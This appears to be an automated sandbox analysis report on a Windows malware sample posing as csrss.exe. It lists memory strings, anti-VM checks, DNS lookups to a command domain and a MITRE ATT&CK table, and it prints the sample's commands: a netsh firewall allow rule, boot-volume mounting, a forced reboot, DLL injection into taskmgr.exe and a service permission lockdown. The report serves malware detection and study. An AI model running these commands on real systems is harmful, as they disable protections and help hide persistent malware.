Source: rlavBKPBEc.exe, 00000001.00000003.266417110.0000000005930000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000002.405761551.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: to unallocated span%%!%c(*big.Float=%s)%s\Sysnative\cmd.exe37252902984619140625Arabic Standard TimeAzores Standard TimeCertFindChainInStoreCertOpenSystemStoreWChangeServiceConfigWCheckTokenMembershipCreateProcessAsUserWCryptAcquireContextWDHT has wrong lengthDQT has wrong lengthDRI has wrong lengthEgyptian_HieroglyphsEnumProcessModulesExFileTimeToSystemTimeGetAcceptExSockaddrsGetAdaptersAddressesGetCurrentDirectoryWGetFileAttributesExWGetModuleFileNameExWGetModuleInformationGetProcessMemoryInfoGetWindowsDirectoryWIDS_Trinary_OperatorInsufficient StorageIsrael Standard TimeJordan Standard TimeMAX_HEADER_LIST_SIZEMalformed JSON errorMediapartners-GoogleMeroitic_HieroglyphsNtUnmapViewOfSectionNtWriteVirtualMemoryOffline Explorer/2.5ProcessIdToSessionIdQueryServiceConfig2WQueryServiceStatusExRegisterEventSourceWRequest URI Too LongRtlInitUnicodeStringSHGetKnownFolderPathSOF has wrong lengthSOS has wrong lengthSafeArrayDestroyDataSafeArrayGetElemsizeSeek: invalid offsetSeek: invalid whenceSetCurrentDirectoryWSetHandleInformationSetVolumeMountPointWTaipei Standard TimeTerminal_PunctuationTurkey Standard TimeUnprocessable EntityWinmonProcessMonitor[invalid char class]\\.\pipe\VBoxTrayIPCasn1: syntax error: bad defer size classbad font file formatbad system page sizebad use of bucket.bpbad use of bucket.mpchan send (nil chan)close of nil channelconnection error: %sconnection timed outcouldn't disable DSEcouldn't get IsAdmincouldn't get serverscouldn't run servicecouldn't set IsAdmincouldn't set serverscouldn't stop PsaSvccouldn't write patchelectrum.hsmiths.comelectrum.taborsky.czelectrum.villocq.comflag: help requestedfloating point errorforcegc: phase errorgc_trigger underflowgetadaptersaddressesgo of nil func valuegopark: bad g statusgzip: invalid headerheader line too longhttp2: stream closedinvalid repeat countinvalid request codeis a named type filejson: Unmarshal(nil json: Unmarshal(nil)key has been revokedmSpanList.insertBackmalformed ciphertextmalloc during signalmultiple SOF markersno such struct fieldnon-empty swept listnorm: invalid whencenot an integer classnotetsleep not on g0number has no digitsnumber of componentsp mcache not flushedpacer: assist ratio=pad length too largepreempt off reason: reflect.Value.SetIntreflect.makeFuncStubrequest file CDN: %wroot\SecurityCenter2runtime: casgstatus runtime: double waitruntime: unknown pc semaRoot rotateRightshort segment lengthsystemdrive is emptytime: invalid numbertrace: out of memoryunexpected network: unknown address typeuser is not an adminverifier host cachedwirep: already in goworkbuf is not emptywrite of Go pointer ws2_32.dll not foundzlib: invalid header gp.gcscanvalid=true
Source: csrss.exe	Binary or memory string: time: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (default %q) (default %v) MB released MB) wo
Source: rlavBKPBEc.exe, 00000001.00000002.288266924.0000000004C66000.00000040.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.312788937.0000000004D29000.00000040.00000001.sdmp, csrss.exe, 00000012.00000002.529851874.0000000005200000.00000040.00000001.sdmp, csrss.exe, 00000013.00000002.370355183.0000000005200000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000002.413171135.0000000005200000.00000040.00000001.sdmp	Binary or memory string: ameNewaPINGPOSTQEMUROOTHIT!u
Source: rlavBKPBEc.exe, 00000001.00000003.266417110.0000000005930000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000002.405761551.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: 100-continue152587890625762939453125Bidi_ControlCIDR addressCONTINUATIONCoCreateGuidCoInitializeContent TypeContent-TypeCookie.ValueCreateEventWCreateMutexWDeleteObjectECDSA-SHA256ECDSA-SHA384ECDSA-SHA512ErrUnknownPCFindNextFileGetAddrInfoWGetConsoleCPGetLastErrorGetLengthSidGetProcessIdGetStdHandleGetTempPathWGlobal\csrssI'm a teapotInstAltMatchJoin_ControlLittleEndianLoadLibraryWLoadResourceLockResourceMax-ForwardsMeetei_MayekMime-VersionMulti-StatusNot ExtendedNot ModifiedNtCreateFileOpenServiceWPUSH_PROMISEPahawh_HmongRCodeRefusedRCodeSuccessReadConsoleWReleaseMutexReportEventWResumeThreadRevertToSelfRoInitializeS-1-5-32-544SERIALNUMBERSelectObjectSetEndOfFileSetErrorModeSetStdHandleSora_SompengSyloti_NagriSysStringLenThread32NextTransitionalTransmitFileUnauthorizedUnlockFileExVBoxTray.exeVariantClearVirtualAllocVirtualQueryWinmon32.sysWinmon64.sysWintrust.dllX-ImforwardsX-Powered-By[[:^ascii:]]\/(\d+)-(.*)\\.\WinMonFSabi mismatchadvapi32.dllaltmatch -> anynotnl -> bad Pq valuebad Ta valuebad Tc valuebad Td valuebad Th valuebad Tq valuebad flushGenbad g statusbad g0 stackbad recoverybootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOdse disableddumping heapelectrumx.mlend tracegc
Source: rlavBKPBEc.exe, 00000001.00000002.288266924.0000000004C66000.00000040.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.312788937.0000000004D29000.00000040.00000001.sdmp, csrss.exe, 00000012.00000002.529851874.0000000005200000.00000040.00000001.sdmp, csrss.exe, 00000013.00000002.370355183.0000000005200000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000002.413171135.0000000005200000.00000040.00000001.sdmp	Binary or memory string: \\.\HGFS`
Source: svchost.exe, 00000007.00000002.524018163.000001C038640000.00000004.00000001.sdmp, svchost.exe, 00000008.00000002.523713962.000001E570229000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: rlavBKPBEc.exe, 00000006.00000002.318845326.000000001600A000.00000004.00000001.sdmp	Binary or memory string: sharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exe[system process]vmsrvc.exe
Source: csrss.exe	Binary or memory string: EndOfFileSetErrorModeSetStdHandleSora_SompengSyloti_NagriSysStringLenThread32NextTransitionalTransmitFileUnauthorizedUnlockFileExVBoxTray.exeVariantClearVirtualAllocVirtualQueryWinmon32.sysWinmon64.sysWintrust.dllX-ImforwardsX-Powered-By[[:^ascii:]]\/(\d+)-(.*
Source: csrss.exe	Binary or memory string: llocStringLenToo Many RequestsTransfer-EncodingUnified_IdeographVGAuthService.exeWSAEnumProtocolsWWTSQueryUserTokenWrite after CloseX-Idempotency-Key\System32\drivers\\.\VBoxMiniRdrDNbad TinySizeClasscouldn't dial: %wcouldn't find pidcouldn't get UUIDcouldn't
Source: csrss.exe	Binary or memory string: ypeudp6uintunixuuidvaryvmciwavewildwindwoodxn-- -%s ... H_T= H_a= H_g= MB, W_a= and h_a= h_g= h_t= max= ptr siz= tab= top= u_a= u_g=%s %q%s*%d%s/%s%s:%d%s=%s%v-%v"'&+0330+0430+0530+0545+0630+0845+1030+1245+1345, ..., fp:-0930.html.jpeg.wasm.we
Source: svchost.exe, 00000003.00000002.525956729.00000184DBA61000.00000004.00000001.sdmp	Binary or memory string: "@Hyper-V RAW
Source: csrss.exe	Binary or memory string: releasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (defau
Source: csrss.exe	Binary or memory string: mAtoiCDN=CESTChamDATADashDateEESTEtagFromGOGCGoneHEADHKCCHKLMHostJulyJuneLisuMiaoModiNZDTNZSTNameNewaPINGPOSTQEMUROOTSASTStatThaiUUIDWESTXeon"%s"\rss\smb\u00\wup %+v m=] n=agedarchasn1avx2basebindbirdbluebmi1bmi2boldboolbushcallcap cas1cas2cas3cas4cas5cas6cha
Source: csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: unixpacketunknown pcuser-agentuser32.dllvmusbmousevmware: %wwildflowerws2_32.dll of size (targetpc= ErrCode=%v a.npages= b.npages= bytes ...
Source: csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: NonTransitionalNot ImplementedNtSuspendThreadOpenThreadTokenOther_LowercaseOther_UppercasePartial ContentProcess32FirstWPsalter_PahlaviQueryDosDeviceWRegCreateKeyExWRegDeleteValueWRequest TimeoutRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC]
Source: csrss.exe, 0000001A.00000002.413171135.0000000005200000.00000040.00000001.sdmp	Binary or memory string: tvmhgfsQ
Source: csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: m=] n=agedarchasn1avx2basebindbirdbluebmi1bmi2boldboolbushcallcap cas1cas2cas3cas4cas5cas6chancoldcooldampdarkdatadatedawndeaddialdustermsetagfailfilefirefrogfromftpsfuncgziphazehillholyhosthourhttpicmpidleigmpint8jpegjsonkindlakelateleaflinklongmoonnonenullopenpathpinepipepondpop3quitrainreadsbrkseeksid=smtpsnowsse2sse3starsurftag:tcp4tcp6texttreetruetypeudp6uintunixuuidvaryvmciwavewildwindwoodxn-- -%s ...
Source: csrss.exe, 0000001A.00000002.413171135.0000000005200000.00000040.00000001.sdmp	Binary or memory string: yvmciwavewildwB
Source: csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp	Binary or memory string: +x@Y}main.isRunningInsideVMWare
Source: csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: DSA-SHA1DecemberDefenderDeleteDCDuployanEqualSidEthiopicExtenderFebruaryFirewallFullPathGeorgianGetOEMCPGoStringGujaratiGurmukhiHTTP/1.1HTTP/2.0HiraganaInstFailInstRuneJavaneseKatakanaKayah_LiLinear_ALinear_BLocationLsaCloseMahajaniNO_ERRORNO_PROXYNovemberOl_ChikiPRIORITYParseIntPersoconPhags_PaQuestionReadFileReceivedSETTINGSSHA1-RSASaturdaySetEventSystem32TagbanwaTai_ThamTai_VietThursdayTifinaghTypeAAAATypeAXFRUgariticVBoxWddmVT_ARRAYVT_BYREFWSAIoctlWinmonFS[:word:][signal \\.\HGFS\\.\vmcistack=[_NewEnumacceptexaddress bad instcgocheckcs darknessdefault:delicatednsquerydurationeax ebp ebx ecx edi edx eflags eip embeddedesi esp exporterfinishedfragrantfs go1.13.3gs hijackedhttp/1.1https://if-matchif-rangeinfinityinjectorinvalid locationloopbackmac_addrmountainmountvolmsvmmoufnamelessno anodeno-cacheno_proxyopPseudopolishedraw-readreadfromrecvfromrestlessrunnableruntime.scavengeshutdownsolitarystrconv.taskkilltwilightunixgramunknown(usernamevmmemctlvmx_svgawitheredwsaioctlwuauservyuio.top (forced) blocked= defersc= in use)
Source: rlavBKPBEc.exe, 00000006.00000002.318845326.000000001600A000.00000004.00000001.sdmp	Binary or memory string: vmxnetvmx86

Source: C:\Users\user\Desktop\rlavBKPBEc.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process queried: DebugPort
Source: C:\Windows\rss\csrss.exe	Process queried: DebugPort
Source: C:\Windows\rss\csrss.exe	Process queried: DebugPort
Source: C:\Windows\rss\csrss.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion:

Performs DNS TXT record lookups

Show sources

Source: Traffic	DNS traffic detected: queries for: trumops.com
Source: Traffic	DNS traffic detected: queries for: logs.trumops.com
Source: Traffic	DNS traffic detected: queries for: 0d29b283-e190-4dec-92fd-2f54e18287ce.uuid.trumops.com
Source: Traffic	DNS traffic detected: queries for: e0a50c60a85bfbb9ecf45bff0239aaa3.hash.trumops.com

Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"	Jump to behavior
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Process created: C:\Windows\rss\csrss.exe C:\Windows\rss\csrss.exe /301-301	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /s	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /d	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /s	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /d	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\shutdown.exe shutdown -r -t 5	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	Jump to behavior
Source: C:\Windows\windefender.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

Source: csrss.exe, 00000012.00000002.529611812.0000000003BA0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: csrss.exe, 00000012.00000002.529611812.0000000003BA0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: csrss.exe, 00000012.00000002.529611812.0000000003BA0000.00000002.00020000.sdmp	Binary or memory string: SProgram Managerl
Source: csrss.exe, 00000012.00000002.529611812.0000000003BA0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd,
Source: csrss.exe, 00000012.00000002.529611812.0000000003BA0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\rlavBKPBEc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Uses netsh to modify the Windows network and firewall settings

Show sources

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Modifies the windows firewall

Show sources

Source: C:\Users\user\Desktop\rlavBKPBEc.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"

Source: C:\Users\user\Desktop\rlavBKPBEc.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Source: svchost.exe, 0000000B.00000002.524265746.000002AC64C3D000.00000004.00000001.sdmp	Binary or memory string: (@\REGISTRY\USER\S-1-5-19ws Defender\MsMpeng.exe
Source: svchost.exe, 0000000B.00000002.524416849.000002AC64D02000.00000004.00000001.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Remote Access Functionality:

Yara detected Metasploit Payload

Show sources

Source: Yara match	File source: 18.2.csrss.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.csrss.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 47.3.csrss.exe.5fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.csrss.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.csrss.exe.5700e50.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.csrss.exe.5700e50.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rlavBKPBEc.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.csrss.exe.5fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rlavBKPBEc.exe.5140e50.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.csrss.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.rlavBKPBEc.exe.5930000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.csrss.exe.5700e50.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.rlavBKPBEc.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.rlavBKPBEc.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.csrss.exe.5700e50.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.csrss.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.csrss.exe.5fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.csrss.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.3.csrss.exe.5fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.csrss.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.csrss.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 47.2.csrss.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.rlavBKPBEc.exe.5080e50.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.csrss.exe.5700e50.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.csrss.exe.5700e50.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.csrss.exe.5700e50.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.csrss.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.rlavBKPBEc.exe.5080e50.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.csrss.exe.5700e50.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 47.2.csrss.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.csrss.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rlavBKPBEc.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rlavBKPBEc.exe.5140e50.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 47.2.csrss.exe.5700e50.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.csrss.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.csrss.exe.5700e50.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.3.csrss.exe.5fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.csrss.exe.5700e50.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.csrss.exe.5700e50.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 47.2.csrss.exe.5700e50.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.csrss.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rlavBKPBEc.exe.59f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.3.csrss.exe.5fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.csrss.exe.5700e50.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.3.csrss.exe.5fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.330415705.000000000638A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.421822381.000000000638A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.368777809.000000000638A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.372493931.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.405761551.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.367332012.000000000638A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.362092797.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.414245254.0000000005700000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.342013940.000000000638A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.426222131.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.267147105.0000000005D0A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.430671576.0000000005700000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.380983955.0000000005700000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.530583793.0000000005700000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.389391811.000000000638A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.296074690.0000000005DCA000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.380651412.0000000005700000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.373722206.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.393329369.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.313497142.0000000005140000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.290947110.0000000005080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.404856081.0000000005700000.00000040.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation21	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools3	Credential API Hooking1	System Information Discovery33	Remote Services	Credential API Hooking1	Exfiltration Over Other Network Medium	Ingress Tool Transfer13	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Command and Scripting Interpreter2	Windows Service1	Windows Service1	Deobfuscate/Decode Files or Information1	LSASS Memory	Security Software Discovery261	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Encrypted Channel1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Scheduled Task/Job1	Scheduled Task/Job1	Process Injection12	Obfuscated Files or Information11	Security Account Manager	Virtualization/Sandbox Evasion5	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol4	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Service Execution1	Registry Run Keys / Startup Folder11	Scheduled Task/Job1	Software Packing211	NTDS	Process Discovery12	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol25	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Registry Run Keys / Startup Folder11	DLL Side-Loading1	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Proxy1	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Masquerading33	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
